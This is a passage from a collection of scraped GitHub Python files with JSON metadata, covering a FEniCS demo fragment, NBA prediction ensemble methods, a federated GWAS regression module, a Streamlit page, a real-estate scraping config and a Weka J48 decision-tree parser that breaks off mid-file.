Save solution in VTK format\nfile = File(\"poisson_square.pvd\")\nfile << u\n\n# Plot solution\nplot(u, interactive=True)\n","repo_name":"nicolepitre/fenics-examples","sub_path":"poisson-demo/demo_poisson_square_xy-periodic.py","file_name":"demo_poisson_square_xy-periodic.py","file_ext":"py","file_size_in_byte":1717,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"20707301872","text":"import numpy as np\nfrom sklearn.metrics import brier_score_loss\n\ndef GlobalBrier_optimiser_method(X, y, X_test=None, weights=None, curr_year=2020):\n \n from scipy.optimize import minimize, Bounds\n import functools\n from sklearn.model_selection import KFold, train_test_split\n\n\n if weights is None:\n W=np.ones(len(y)) #flat\n else:\n W = np.exp((curr_year-weights)) #exponential\n #W = (curr_year-weights)**2 #squared\n #W= 2**(curr_year-weights) # power\n #W= np.log(1+ curr_year-weights) #logarihmic\n \n\n\n\n #the residual cost function to minimise\n def forecast_error_func(x, arg1, arg2, arg3, arg4, arg5):\n \n\n Data= arg1\n Outcome =arg2\n W = arg3\n\n\n P_est = Data @ x #weighted Arithmetic mean\n #P_est = np.power(np.prod(np.power(Data , x),axis=1), 1/sum(x)) #weighted Geometric mean\n\n r = P_est - Outcome \n\n l1=arg4 #regularisation coefficient\n l2=arg5 #regularisation coefficient\n\n\n reg1 = l1*np.sum(x*x) #L2 norm\n reg2 = l2*np.sum(abs(x)) #L1 norm\n\n #Elastic NET\n return np.sum( (r*r) * W )/len(Outcome) +reg1 + reg2\n\n\n def constraint1(x):\n return np.sum(x)-1\n\n\n \n\n n_experts=X.shape[1]\n y_bin=(y==1).astype(int) #convert to Away-based binary labels\n \n #constraints and bounds for the optimisation\n cons = {'type': 'eq', 'fun': constraint1} \n bnds = Bounds(0,1)\n\n \n\n #Set up the grid search\n Ntests=100\n coeff_grid=np.linspace(0,1,Ntests)\n Brier_Scores=np.ones(Ntests)\n\n for i in range(Ntests):\n\n coeff=coeff_grid[i]\n \n \n #shuffle the data and split it into train and validation sets\n X_train, X_val, y_train, y_val, w_train, _ = train_test_split(X, y_bin, W, test_size=0.3, shuffle=True) \n\n\n #setup the optimisation problem\n objective_fun = functools.partial(forecast_error_func, arg1=X_train, arg2=y_train, arg3=w_train, arg4=coeff, arg5=1-coeff) \n\n\n #initial weights\n x0=np.ones(n_experts) / n_experts\n \n out= minimize(objective_fun, x0, options={'disp': False, 'maxiter':500},method='SLSQP', constraints=cons, bounds=bnds) \n x_opt = out.x\n\n #evaluate on validation data \n Brier_Scores[i]= brier_score_loss(y_val, X_val @ x_opt, pos_label=1)\n\n\n #get the best coefficients that minimise the brier score\n best_coeffs = coeff_grid[np.argmin(Brier_Scores)]\n \n\n\n #fit on the whole data\n objective_fun = functools.partial(forecast_error_func, arg1=X, arg2=y_bin, arg3=W ,arg4=best_coeffs, arg5=1-best_coeffs) \n out= minimize(objective_fun, x0, options={'disp': False, 'maxiter':500},method='SLSQP', constraints=cons, bounds=bnds) \n x_opt = out.x\n\n\n if X_test is None:\n #just return the optimum weights and the best coefficients found during the training of the method\n return None, best_coeffs, x_opt\n else:\n #apply on prediction data and return \n return X_test @ x_opt, best_coeffs, x_opt\n\n\n\n\ndef Stacker_method(X, y, X_test):\n \n from sklearn.linear_model import LogisticRegression\n from sklearn.model_selection import KFold, GridSearchCV\n\n \n #setup the classifier and perform cross validation\n model = LogisticRegression( penalty='elasticnet', solver='saga', warm_start=True, max_iter=10000); param_grid= { 'l1_ratio' : [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1], 'fit_intercept':[True, False], 'C':[0.05, 0.1, 0.25, 0.5, 0.75, 1, 1.25, 1.5,2]}\n\n\n #setup grid search on the data.\n kfold = KFold(n_splits=5, shuffle=True)\n grid_search = GridSearchCV(model, param_grid, cv=kfold, scoring='neg_brier_score', n_jobs=-1) \n grid_search.fit(X, y) \n\n \n #Now retrain on the whole data using the best model found \n model = grid_search.best_estimator_\n model.fit(X,y)\n return model.predict_proba(X_test)\n\n\n ","repo_name":"tropicalsnow/NBA_prediction","sub_path":"Libs/Expert_ensemble/ensemble_methods.py","file_name":"ensemble_methods.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"12032194511","text":"from FeatureCloud.app.engine.app import app_state, AppState, Role, SMPCOperation, LogLevel\nfrom FeatureCloud.app.engine.app import State as op_state\nfrom time import sleep\nimport numpy as np\nimport multiprocessing\nimport threading\nfrom Utils.gwas_dataset import SnpValue\nfrom SplinkStates.client import SplinkClient\nfrom SplinkStates.server import SplinkServer\nfrom Utils.utils import share_attrs, load_attrs\nfrom States import ALGORITHM\n\n\n@app_state('Beta_Linear', Role.BOTH)\nclass BetaLinear(AppState, SplinkClient):\n def __init__(self):\n SplinkClient.__init__(self)\n\n def register(self):\n self.register_transition('Aggregate_Beta_Linear', Role.COORDINATOR)\n self.register_transition('STD_Error_Linear', Role.PARTICIPANT)\n\n def run(self) -> str or None:\n load_attrs(self)\n global_minor_allele_names, global_major_allele_names, self.snp_indices = self.await_data()\n self.minor_allele(global_minor_allele_names, global_major_allele_names)\n xt_x_matrix, xt_y_vector = self.beta_linear_step()\n self.send_data_to_coordinator(data=[xt_x_matrix, xt_y_vector], use_smpc=self.load('smpc_used'))\n share_attrs(self)\n if self.is_coordinator:\n return 'Aggregate_Beta_Linear'\n return 'STD_Error_Linear'\n\n def beta_linear_step(self):\n \"\"\" Compute X'X and X'Y matrices for the chunk \"\"\"\n\n # set dictionaries to empty at the beginning of the chunk\n self.xt_x_matrix = dict()\n self.xt_y_vector = dict()\n\n # queues\n queue_xt_x_matrix = multiprocessing.Queue()\n queue_xt_y_vector = multiprocessing.Queue()\n\n # get SNP indices for which X'X and X'Y should be computed\n # self.snp_indices = self.global_parameters[SplinkGlobalParameter.SNP_INDEX]\n self.current_chunk_size = len(self.snp_indices)\n\n # threads to read from the queues\n xt_x_matrix_read_thread = threading.Thread(target=self.read_queue_xt_x_matrix,\n args=(queue_xt_x_matrix,))\n xt_x_matrix_read_thread.daemon = True\n xt_x_matrix_read_thread.start()\n\n xt_y_vector_read_thread = threading.Thread(target=self.read_queue_xt_y_vector,\n args=(queue_xt_y_vector,))\n xt_y_vector_read_thread.daemon = True\n xt_y_vector_read_thread.start()\n\n # processes to compute local X'X and X'Y for the sub-chunks\n process_list = list()\n for start_index_sub_chunk, end_index_sub_chunk in zip(self.sub_chunk_start_indices, self.sub_chunk_end_indices):\n process = multiprocessing.Process(target=self.compute_beta_linear_parameters,\n args=(start_index_sub_chunk, end_index_sub_chunk,\n queue_xt_x_matrix, queue_xt_y_vector))\n process_list.append(process)\n process.daemon = True\n process.start()\n\n # wait for read threads to be done\n xt_x_matrix_read_thread.join()\n xt_y_vector_read_thread.join()\n\n # close queues\n queue_xt_x_matrix.close()\n queue_xt_y_vector.close()\n\n # terminate the processes\n for proc in process_list:\n proc.terminate()\n\n # convert dictionaries to lists;\n xt_x_matrix = list()\n xt_y_vector = list()\n for snp_index in sorted(self.snp_indices):\n xt_x_matrix.append(self.xt_x_matrix[snp_index])\n xt_y_vector.append(self.xt_y_vector[snp_index])\n return xt_x_matrix, xt_y_vector\n # # share noisy local X'X matrix and X'Y vector with the server and noise with compensator\n # self.local_parameters[SplinkLocalParameter.XT_X_MATRIX] = xt_x_matrix\n # self.local_parameters[SplinkLocalParameter.XT_Y_VECTOR] = xt_y_vector\n # self.set_compensator_flag({SplinkLocalParameter.XT_X_MATRIX: DataType.LIST_NUMPY_ARRAY_FLOAT,\n # SplinkLocalParameter.XT_Y_VECTOR: DataType.LIST_NUMPY_ARRAY_FLOAT})\n\n def read_queue_xt_x_matrix(self, queue_xt_x_matrix):\n while len(self.xt_x_matrix) < self.current_chunk_size:\n xt_x = queue_xt_x_matrix.get()\n self.xt_x_matrix.update(xt_x)\n\n def read_queue_xt_y_vector(self, queue_xt_y_vector):\n while len(self.xt_y_vector) < self.current_chunk_size:\n xt_y = queue_xt_y_vector.get()\n self.xt_y_vector.update(xt_y)\n\n def compute_beta_linear_parameters(self, start_index, end_index, queue_xt_x_matrix, queue_xt_y_vector):\n \"\"\" Compute local X'X and X'Y for a sub-chunk \"\"\"\n\n xt_x_matrices = dict()\n xt_y_vectors = dict()\n\n for snp_index in np.arange(start_index, end_index):\n if snp_index not in self.snp_indices:\n continue\n\n # put results in the queue whenever computation is done for 1000 SNPs\n if snp_index % 1001 == 1000:\n queue_xt_x_matrix.put(xt_x_matrices)\n queue_xt_y_vector.put(xt_y_vectors)\n xt_x_matrices = dict()\n xt_y_vectors = dict()\n x_matrix, y_vector = self.get_x_matrix_y_vector(snp_index,\n covariate=self.load('config')['covariates'],\n algorithm=self.load('config')['algorithm'])\n\n xt_x_matrices[snp_index] = np.dot(x_matrix.T, x_matrix)\n xt_y_vectors[snp_index] = np.dot(x_matrix.T, y_vector)\n\n queue_xt_x_matrix.put(xt_x_matrices)\n queue_xt_y_vector.put(xt_y_vectors)\n\n def minor_allele(self, global_minor_allele_names, global_major_allele_names):\n super().minor_allele(global_minor_allele_names, global_major_allele_names)\n self.attrs_to_share += ['snp_values', 'first_allele_names', 'second_allele_names']\n\n\n@app_state('Aggregate_Beta_Linear', Role.COORDINATOR)\nclass AggregateBetaLinear(AppState, SplinkServer):\n def __init__(self):\n SplinkServer.__init__(self)\n\n def register(self):\n self.register_transition('STD_Error_Linear', Role.COORDINATOR)\n\n def run(self) -> str or None:\n load_attrs(self)\n # xt_x_matrices, xt_y_vectors = self.aggregate_data(operation=SMPCOperation.ADD, use_smpc=self.load('smpc_used'))\n if self.load('smpc_used'):\n xt_x_matrices, xt_y_vectors = self.await_data(n=1, unwrap=True, is_json=True)\n else:\n data = self.gather_data(is_json=False)\n xt_x_matrices, xt_y_vectors = _aggregate(data, SMPCOperation.ADD, n_parts=2)\n xt_x_matrices = np.array(xt_x_matrices) / len(self.clients)\n xt_y_vectors = np.array(xt_y_vectors) / len(self.clients)\n\n # beta_values = self.beta_linear_step(xt_x_matrices, xt_y_vectors)\n # self.broadcast_data(beta_values)\n self.beta_linear_step(xt_x_matrices, xt_y_vectors)\n self.broadcast_data(self.beta_values)\n self.attrs_to_share += ['considered_snp_indices', 'xt_x_matrices', 'xt_y_vectors', 'std_error_values',\n 't_stat_values', 'p_values']\n share_attrs(self)\n return 'STD_Error_Linear'\n\n def beta_linear_step(self, xt_x_matrices, xt_y_vectors):\n \"\"\" Compute linear regression global beta values using the aggregated XTX and XTY matrices for the chunk \"\"\"\n\n # aggregate X'X matrices and X'Y vectors from the clients\n # xt_x_matrices = self.compute_aggregated_parameter(SplinkLocalParameter.XT_X_MATRIX,\n # DataType.LIST_NUMPY_ARRAY_FLOAT)\n # xt_y_vectors = self.compute_aggregated_parameter(SplinkLocalParameter.XT_Y_VECTOR,\n # DataType.LIST_NUMPY_ARRAY_FLOAT)\n self.log(\"Beta Linear Step has Started\")\n # convert lists to dictionaries\n self.xt_x_matrices = dict()\n self.xt_y_vectors = dict()\n snp_counter = -1\n for snp_index in sorted(self.considered_snp_indices.copy()):\n snp_counter += 1\n self.xt_x_matrices[snp_index] = xt_x_matrices[snp_counter]\n self.xt_y_vectors[snp_index] = xt_y_vectors[snp_counter]\n\n # initialize beta values and xt_x_inverse_matrices as empty dictionaries\n self.beta_values = dict()\n self.xt_x_inverse_matrices = dict()\n\n # queues\n queue_beta = multiprocessing.Queue()\n queue_xt_x_inverse = multiprocessing.Queue()\n\n # threads to read from the queue\n beta_read_thread = threading.Thread(target=self.read_queue_beta_linear, args=(queue_beta,))\n beta_read_thread.daemon = True\n beta_read_thread.start()\n\n xt_x_inverse_read_thread = threading.Thread(target=self.read_queue_xt_x_inverse, args=(queue_xt_x_inverse,))\n xt_x_inverse_read_thread.daemon = True\n xt_x_inverse_read_thread.start()\n\n # processes to compute the beta values and xt_x_inverse matrices for the sub-chunks\n sub_chunk_start_indices, sub_chunk_end_indices = self.get_start_end_indices(cpu_cores=8)\n process_list = list()\n for start_index_sub_chunk, end_index_sub_chunk in zip(sub_chunk_start_indices, sub_chunk_end_indices):\n process = multiprocessing.Process(target=self.calculate_beta_linear_sub_chunk,\n args=(start_index_sub_chunk, end_index_sub_chunk,\n queue_beta, queue_xt_x_inverse,\n self.load('config')['covariate_names']))\n process_list.append(process)\n process.daemon = True\n process.start()\n\n # wait for read threads to be done\n beta_read_thread.join()\n xt_x_inverse_read_thread.join()\n\n # close queues\n queue_beta.close()\n queue_xt_x_inverse.close()\n\n # terminate the processes\n for proc in process_list:\n proc.terminate()\n\n # update considered index set\n for snp_index in self.considered_snp_indices:\n if self.beta_values[snp_index][0] == \"NA\":\n self.considered_snp_indices.discard(snp_index)\n self.std_error_values[snp_index] = self.beta_values[snp_index]\n self.t_stat_values[snp_index] = self.beta_values[snp_index]\n self.p_values[snp_index] = self.beta_values[snp_index]\n continue\n\n # only share beta values for considered SNPs with clients to compute sum square error values\n self.beta_values = {snp_index: self.beta_values[snp_index] for snp_index in self.considered_snp_indices}\n # return beta_values\n # self.global_parameters[SplinkGlobalParameter.BETA] = beta_values\n #\n # # tell clients to go to std-error step\n # self.set_step(SplinkProjectStep.STD_ERROR_LINEAR)\n\n def read_queue_xt_x_inverse(self, queue_xt_x_inverse):\n while len(self.xt_x_inverse_matrices) < len(self.considered_snp_indices):\n xt_x_inverse = queue_xt_x_inverse.get()\n self.xt_x_inverse_matrices.update(xt_x_inverse)\n\n def read_queue_beta_linear(self, queue_beta_linear):\n while len(self.beta_values) < len(self.considered_snp_indices):\n betas = queue_beta_linear.get()\n self.beta_values.update(betas)\n\n def calculate_beta_linear_sub_chunk(self, start_index, end_index, queue_beta, queue_xt_x_inverse, covariates):\n \"\"\" Compute linear regression beta values for a sub-chunk \"\"\"\n\n beta_values = dict()\n xt_x_inverse_matrices = dict()\n\n for snp_index in np.arange(start_index, end_index):\n if snp_index not in self.considered_snp_indices:\n continue\n\n # put results in the queue whenever computation is done for 1000 SNPs\n if snp_index % 1001 == 1000:\n queue_beta.put(beta_values)\n queue_xt_x_inverse.put(xt_x_inverse_matrices)\n beta_values = dict()\n xt_x_inverse_matrices = dict()\n\n if np.linalg.det(self.xt_x_matrices[snp_index]) == 0:\n self.beta_values[snp_index] = np.array([\"NA\" for _ in range(len(covariates) + 2)])\n continue\n\n xt_x_inverse_matrices[snp_index] = np.linalg.inv(self.xt_x_matrices[snp_index])\n beta_values[snp_index] = np.dot(xt_x_inverse_matrices[snp_index], self.xt_y_vectors[snp_index]).flatten()\n\n queue_beta.put(beta_values)\n queue_xt_x_inverse.put(xt_x_inverse_matrices)\n\n\ndef _aggregate(data, operation: SMPCOperation, n_parts: int = 1):\n \"\"\"\n Aggregates a list of received values.\n\n Parameters\n ----------\n data : array_like\n list of data pieces\n operation : SMPCOperation\n operation to use for aggregation (add or multiply)\n\n Returns\n ----------\n aggregated value\n \"\"\"\n\n def aggregate(data):\n data_np = [np.array(d) for d in data]\n\n aggregate = data_np[0]\n\n if operation == SMPCOperation.ADD:\n for d in data_np[1:]:\n aggregate = aggregate + d\n\n if operation == SMPCOperation.MULTIPLY:\n for d in data_np[1:]:\n aggregate = aggregate * d\n return aggregate\n\n if n_parts == 1:\n return aggregate(data)\n return [aggregate([data[i][n] for i in range(len(data))]) for n in range(n_parts)]\n","repo_name":"FeatureCloud/fc-sPLINK","sub_path":"States/BetaLinear.py","file_name":"BetaLinear.py","file_ext":"py","file_size_in_byte":13517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3209771855","text":"import streamlit as st\n\nfrom Databases.MongoHandler import MongoHandler\nfrom Oracles import Oracle1to2, Oracle2to4, Oracle4to8\n\nst.markdown(\n \"\"\"\n \n \"\"\",\n unsafe_allow_html=True,\n )\n\nst.title(\"Oracolo\")\n\nmongo_handler = MongoHandler()\noracle1to2 = Oracle1to2(mongo_handler.singles_db, mongo_handler.couples_db)\noracle2to4 = Oracle2to4(mongo_handler.couples_db, mongo_handler.quartets_db, mongo_handler.quartets_db)\noracle4to8 = Oracle4to8(mongo_handler.quartets_db, mongo_handler.octets_db)\n\nwith st.expander(\"Forma coppia\"):\n oracle1to2.show_page()\nwith st.expander(\"Forma quartetto\"):\n oracle2to4.show_page()\nwith st.expander(\"Forma ottetto\"):\n oracle4to8.show_page()\n\n\n","repo_name":"francescodeaglio/teamBuilding","sub_path":"pages/💡_Oracolo.py","file_name":"💡_Oracolo.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42448799289","text":"class ScrapingStructure():\n \"\"\"\n Idealmente para otras páginas? \n Idealmente para coger información según tipo de inmueble.\n \"\"\"\n @staticmethod\n def UrbaniaStructure():\n base_link = 'https://urbania.pe/buscar/venta-de-{}?page='\n\n return [\n {\n 'Tipo':'casas',\n 'url': base_link.format('casas'),\n 'max_page': 1\n },\n\n {\n 'Tipo':'terrenos',\n 'url': base_link.format('terrenos'),\n 'max_page': 1\n },\n\n {\n 'Tipo':'locales-comerciales',\n 'url':base_link.format('locales-comerciales'),\n 'max_page': 1\n }\n ]","repo_name":"PBenavides/Automated-Valuation-Model-Lima","sub_path":"Scraper/ScrapingStructure.py","file_name":"ScrapingStructure.py","file_ext":"py","file_size_in_byte":740,"program_lang":"python","lang":"es","doc_type":"code","stars":19,"dataset":"github-code","pt":"78"} +{"seq_id":"35900787776","text":"#!/usr/bin/env python3\n\nimport argparse\nfrom collections import defaultdict\nimport itertools as it\nimport os\nimport subprocess\nimport sys\n\nclass DTNode:\n\t\"\"\"A node in the decision tree.\n\t\t\n\t\tThis code represents a decision tree as the root node for the whole tree.\n\t\t\"\"\"\n\tdef __init__(self, parent=None, attribute=None):\n\t\t# The parent node\n\t\tself.parent = parent\n\t\t# The name of the attribute that this node concerns itself with\n\t\tself.attribute = attribute\n\t\t# A dictionary like (attribute value: subsequent tree node)\n\t\tself.values = dict()\n\t\t# The original ordering of the values in the decision tree\n\t\tself.valuesOrdered = list()\n\t\t# The number of samples assigned to this node\n\t\tself.samplesAssigned = 0\n\n\tdef __str__(self):\n\t\treturn self.attribute\n\n\tdef _findValueByChildNode(cls, parent, child):\n\t\t\"\"\"Helper func to do a reverse lookup in the parent's values dict.\"\"\"\n\t\tif parent == None or child == None:\n\t\t\treturn \"\"\n\t\tmatches = [val for (val, node) in parent.values.items() if node==child]\n\t\t# Just let the error happen if there was no match\n\t\treturn str(matches[0])\n\n\tdef representParents(self):\n\t\t\"\"\"Return a string representing the path through the tree to this node.\"\"\"\n\t\t# Grab a list of all ancestors starting at this one, then reverse it\n\t\tancestry = list()\n\t\t(prevNode, currentNode) = (None, self)\n\t\twhile currentNode is not None:\n\t\t\tvalue = self._findValueByChildNode(currentNode, prevNode)\n\t\t\tancestry.append((currentNode, value))\n\t\t\t(prevNode, currentNode) = (currentNode, currentNode.parent)\n\t\tancestry.reverse()\n\n\t\treturn \" \".join(str(node) + \":\" + value for (node, value) in ancestry)\n\n\tdef lookupValue(self, value):\n\t\t\"\"\"Return the child node based on a value.\"\"\"\n\t\t# This could be more complex later\n\t\treturn self.values[value]\n\n\tdef printTree(self, depth=0, outputFile=sys.stdout):\n\t\t\"\"\"Recursively print off the subtree with this node as a root.\"\"\"\n\t\tpipes = list(it.repeat(\"| \", depth))\n\n\t\tfor value in self.valuesOrdered:\n\t\t\tnode = self.values[value]\n\t\t\toutputLine = pipes + [self.attribute, \" = \", value]\n\t\t\tif type(node) is DTLeafClass:\n\t\t\t\toutputLine.append(\": \")\n\t\t\t\toutputLine.append(str(node))\n\n\t\t\toutputFile.write(\"\".join(outputLine) + \"\\n\")\n\n\t\t\tif type(node) is not DTLeafClass:\n\t\t\t\tnode.printTree(depth+1, outputFile)\n\n\tdef traverseTree(self, retString):\n\t\t\"\"\"Traverse the tree, do retString on leaves, return results as a list.\n\n\t\t\tretString must be a string naming a leaf attribute or function\n\t\t\tThis function does traversal in a repeatable way.\n\t\t\t\"\"\"\n\t\treturnList = list()\n\t\tif isinstance(self, DTLeafClass):\n\t\t\t# If this is a leaf, do retString\n\t\t\tattr = getattr(self, retString)\n\t\t\t# Either call retString as a function, or return its value\n\t\t\ttry:\n\t\t\t\treturnList = [attr()]\n\t\t\texcept TypeError:\n\t\t\t\treturnList = [attr]\n\t\telse:\n\t\t\tfor value in self.valuesOrdered:\n\t\t\t\t# Traverse to each child. Check DTLeafClass for leaf node implem.\n\t\t\t\tchild = self.values[value]\n\t\t\t\treturnList += child.traverseTree(retString)\n\t\treturn returnList\n\t\n\tdef traverseLeafAssignments(self):\n\t\t\"\"\"Return leaf assignment counts by traversing the tree.\n\t\t\t\n\t\t\tThe goal of this function is to print out the assignments in some order\n\t\t\tthat's repeatable across multiple runs of the program.\n\t\t\t\"\"\"\n\t\treturn self.traverseTree(\"samplesAssigned\")\n\t\t\"\"\"\n\t\tchildValues = list()\n\t\tfor value in self.valuesOrdered:\n\t\t\t# Traverse to each child. Check DTLeafClass for leaf node implem.\n\t\t\tchild = self.values[value]\n\t\t\tchildValues += child.traverseLeafAssignments()\n\t\treturn childValues\n\t\t\"\"\"\n\n\tdef traverseLeafAttributes(self):\n\t\t\"\"\"Return strings describing each leaf.\n\n\t\t\tThis function returns leaves in the same order as\n\t\t\t\"traverseLeafAssignments\", so that they can be used as headers for\n\t\t\tthat data.\n\t\t\t\"\"\"\n\t\treturn self.traverseTree(\"returnLeafBranch\")\n\n\tdef returnLeafBranch(self):\n\t\tparentBranchName = self._findValueByChildNode(self.parent, self)\n\t\treturn str(self.parent) + \"(\" + parentBranchName + \")\"\n\n\n# This is mostly just here to make it easy to distinguish leaves\nclass DTLeafClass(DTNode):\n\t\"\"\"A leaf node.\"\"\"\n\n\tdef __init__(self, value, parent):\n\t\tsuper().__init__(parent=parent, attribute=value)\n\t\tself.samplesAssigned = 0\n\n\t#def traverseLeafAssignments(self):\n\t#\t\"\"\"The parent class' implementation explores the children\"\"\"\n\t#\treturn [self.samplesAssigned]\n\ndef _yieldLines(inputStream):\n\t\"\"\"A helper generator to yield the lines in the file.\"\"\"\n\t#with open(filename, \"r\") as infile:\n\tline = inputStream.readline() \n\twhile line != \"\":\n\t\tyield line\n\t\tline = inputStream.readline() \n\n\ndef parseDecisionTree(treeInput):\n\t\"\"\"Parse a file containing a decision tree represented by Weka J48.\"\"\"\n\tdef _getLineInfo(inputLine):\n\t\t\"\"\"Parse a decision tree line.\"\"\"\n\t\tlineList = inputLine.split()\n\t\tdepth = len(list(it.takewhile(lambda char: char == \"|\", lineList)))\n\t\tattribute = lineList[depth]\n\t\tif lineList[depth+1] != \"=\":\n\t\t\traise RuntimeError(inputLine + \" didn't have = in right spot\")\n\t\tvalue = lineList[depth+2].strip()\n\t\tleafClass = None\n\t\t# See if this is a leaf line\n\t\tif value[-1] == \":\":\n\t\t\tvalue = value[0:-1]\n\t\t\tleafClass = lineList[depth+3]\n\t\treturn (depth, attribute, value, leafClass)\n\n\t# Setup the basics of the tree\n\ttreeHead = DTNode()\n\tcurrentNode = treeHead\n\tcurrentDepth = 0\n\n\tfor inputLine in _yieldLines(treeInput):\n\t\t(newDepth, attribute, value, leafClass) = _getLineInfo(inputLine)\n\n\t\t# Handle depth backtracking, and weirdness\n\t\tif newDepth > currentDepth:\n\t\t\traise RuntimeError(inputLine + \" encountered strange depth\")\n\t\telif newDepth < currentDepth:\n\t\t\t# We finished out some branch, so move up the tree\n\t\t\twhile currentDepth != newDepth:\n\t\t\t\tcurrentNode = currentNode.parent\n\t\t\t\tcurrentDepth -= 1\n\n\t\t# Build new nodes\n\t\tif currentNode.attribute is None:\n\t\t\tcurrentNode.attribute = attribute\n\t\telif currentNode.attribute != attribute:\n\t\t\traise RuntimeError(inputLine + \" wrong attribute\")\n\n\t\t# In any case, remember the ordering of the values\n\t\tcurrentNode.valuesOrdered.append(value)\n\t\tif leafClass is None:\n\t\t\t# If this line is not a leaf class, descend into the tree further\n\t\t\tcurrentNode.values[value] = DTNode(parent=currentNode)\n\t\t\tcurrentNode = currentNode.values[value]\n\t\t\tcurrentDepth += 1\n\t\telse:\n\t\t\t# Otherwise, build a leaf\n\t\t\tcurrentNode.values[value] = DTLeafClass(leafClass, parent=currentNode)\n\n\treturn treeHead\t\n\n\ndef readARFFFile(arffInput):\n\t\"\"\"Return (attributesList, instancesList) from the ARFF file.\n\n\t\tAttributes are of format (name, possibleValues)\n\t\tInstances are of format (name or \"\", values)\n\t\t\"\"\"\n\tdef _validateValuesList(valuesList, attributesList):\n\t\t\"\"\"Validate a list of values.\"\"\"\n\t\t(attributeNames, possibleValsList) = zip(*attributesList)\n\n\t\t# Validate all the possible values\n\t\tfor (possibleVals, specified) in zip(possibleValsList, valuesList):\n\t\t\tif specified not in possibleVals:\n\t\t\t\treturn False\n\n\t\treturn True\n\n\tdef _processAttribute(inputString):\n\t\t\"\"\"Parse an attribute line, return (name, possibleValues).\"\"\"\n\t\t(drop, drop, afterAttribute) = inputString.partition(\"@ATTRIBUTE \")\n\t\t(attrName, drop, values) = afterAttribute.strip().partition(\" \")\n\t\tvalueList = values.strip()[1:-1].split(\",\")\n\t\treturn (attrName, [val.strip() for val in valueList])\n\n\tinputLineGen = _yieldLines(arffInput)\n\tstates = [\"waitingOnRelation\", \"readingAttributes\",\n\t\t\t\t\t\t\"processingLines\", \"finished\"]\n\tstate = 0\n\tlastUnusedComment = None\n\n\tattributes = list()\n\tinstances = list()\n\n\tfor inputLine in inputLineGen:\n\t\tinputList = inputLine.split()\n\t\tif inputList[0] == \"%\":\n\t\t\tlastUnusedComment = inputLine[1:].strip()\n\t\telif inputList[0]==\"@RELATION\" and states[state]==\"waitingOnRelation\":\n\t\t\tstate += 1\n\t\telif inputList[0]==\"@ATTRIBUTE\" and states[state]==\"readingAttributes\":\n\t\t\tattributes.append(_processAttribute(inputLine))\n\t\telif inputList[0]==\"@DATA\" and states[state]==\"readingAttributes\":\n\t\t\tstate += 1\n\t\telif states[state]==\"processingLines\":\n\t\t\tvalues = [elem.strip() for elem in inputLine.split(\",\")]\n\t\t\tif len(values) != len(attributes):\n\t\t\t\traise RuntimeError(inputLine + \" - too few values - expected \" +\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tstr(len(attributes)))\n\t\t\tname = \"\" if (lastUnusedComment is None) else lastUnusedComment\n\t\t\tif not _validateValuesList(values, attributes):\n\t\t\t\traise RuntimeError(str(values) + \" - invalid attribute value\")\n\t\t\tinstances.append((name, values))\n\t\telse:\n\t\t\traise RuntimeError(inputLine + \" - Something's up!\")\n\t\t\n\treturn (attributes, instances)\n\ndef executeDecisionTree(decisionTree, attributes, instances):\n\t\"\"\"Evaluate a list of instances on a decision tree.\n\n\t\tReturn a list of the leaf nodes each instance was evaluated at.\n\t\t\"\"\"\n\tdef _processInstance(instance):\n\t\t\"\"\"Helper function to process an individual instance.\"\"\"\n\t\t(instanceName, instanceValues) = instance\n\t\t(attributeNames, attributeValues) = zip(*attributes)\n\t\tinstanceAttrDict = dict(zip(attributeNames, instanceValues))\n\t\tcurrentNode = decisionTree\n\t\twhile type(currentNode) is not DTLeafClass:\n\t\t\t# Look up the instance's value for the current node's attribute\n\t\t\tvalue = instanceAttrDict[currentNode.attribute]\n\t\t\tcurrentNode = currentNode.lookupValue(value)\n\t\t# TODO: this next line changes some decision tree state - this isn't great\n\t\tcurrentNode.samplesAssigned += 1\n\t\treturn currentNode\n\n\t# Process them all and return a list of results. Awesome, I know!\n\treturn [_processInstance(instance) for instance in instances]\n\ndef printResults(leaves, leafToKeyStrFunction, outputFile):\n\t\"\"\"Print out results of a decision tree classification.\"\"\"\n\tclassedTypes = defaultdict(int)\n\tfor leaf in leaves:\n\t\tclassedTypes[leafToKeyStrFunction(leaf)] += 1\n\n\tfor (key, count) in classedTypes.items():\n\t\toutputFile.write(\"{0:d} - {1:s}\\n\".format(count, key))\n\ndef printSummary(leaves, outputFile=sys.stdout):\n\t\"\"\"Simply print out the number of times each class was assigned.\"\"\"\n\tprintResults(leaves, str, outputFile)\n\ndef printLeafUse(leaves, outputFile=sys.stdout):\n\t\"\"\"Print out the number of times each node was assigned.\"\"\"\n\tdef _getParentRepresentation(leaf):\n\t\treturn leaf.representParents()\n\tprintResults(leaves, _getParentRepresentation, outputFile)\n\ndef outputDPDNA(decisionTree, outputFile=sys.stdout):\n\tleafValues = decisionTree.traverseLeafAssignments()\n\ttotal = sum(leafValues)\n\t# DON'T DIVIDE BY ZERO! You crazy guy you.\n\tnormalizedValues = [(val/total) for val in leafValues]\n\n\tstringFormattedValues = [\"{0:.3f}\".format(val) for val in normalizedValues]\n\n\toutputFile.write(\",\".join(stringFormattedValues) + \"\\n\")\n\ndef outputColumnHeaders(decisionTree, outputFile=sys.stdout):\n\tleafAttrs = decisionTree.traverseLeafAttributes()\n\toutputFile.write(\",\".join(leafAttrs) + \"\\n\")\n\nif __name__ == \"__main__\":\n\tparser = argparse.ArgumentParser(description=\"Visualize the leaves used \"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\"in a J48 decision tree.\")\n\tparser.add_argument(\"-p\", \"--printTree\", action=\"store_const\",\n\t\t\t\t\t\t\t\t\t\t\t\tconst=True, default=False,\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"Print the tree to stdout after parsing it\")\n\tparser.add_argument(\"-c\", \"--classify\", action=\"store_const\",\n\t\t\t\t\t\t\t\t\t\t\t\tconst=True, default=False,\n\t\t\t\t\t\t\t\t\t\t\t\thelp=\"Summarize the classification 